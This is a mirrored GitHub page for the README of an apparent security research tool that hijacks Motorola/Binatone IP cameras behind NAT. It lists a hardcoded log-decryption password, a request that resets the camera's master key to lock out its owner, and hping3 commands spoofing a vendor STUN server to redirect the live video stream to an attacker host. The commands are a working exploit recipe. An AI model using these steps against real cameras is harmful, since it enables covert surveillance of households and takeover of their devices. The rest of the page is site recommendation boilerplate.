GithubHelp home page GithubHelp logo

pombredanne / stun-remote-control Goto Github PK

View Code? Open in Web Editor NEW

This project forked from ctxis/stun-remote-control

0.0 0.0 0.0 13.92 MB

Control Motorola/Binatone IP cameras behind NAT

License: GNU General Public License v3.0

Python 100.00%

stun-remote-control's Introduction

TL;DR

This script makes special STUN packets to control Motorola/Binatone IP cameras behind NAT

It has been tested with a Motorola FOCUS 73.

Requirements

Getting the AES key

There are different ways to get the key:

Download it

If you can access the device locally, visit :8080/cgi-bin/logdownload.cgi then decrypt the logs with Cvision123459876

Set it

If you want to control it AND stop the owner accessing it... :80/?action=command&command=set_master_key=MyCameraNowThanx

Read it from the file system

Get a root shell on the camera with a bit of javascript (see blog) then find skyeye.conf. The AES key is in there.

Execution

python stunning.py โ€œset_wowza_server&value=10.45.3.100โ€ > stunpacket

hping3 10.45.3.62 --udp -V -p 50610 --spoof stun.hubble.in -s 3478 --file stunpacket --data $(stat -c%s stunpacket) -c 1

Note: The UDP source port will always be 3478 but the destination port is dynamic. If you have access to the camera you can find it with netstat otherwise you will need to try different ports with the following 2 payloads to find the right UDP port. set_wowza_server&value=attacker.com

start_rtmp

You will know you've got the right port because you'll receive a live RTMP video stream on TCP 1935. Red5 can be used to receive the video.

stun-remote-control's People

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.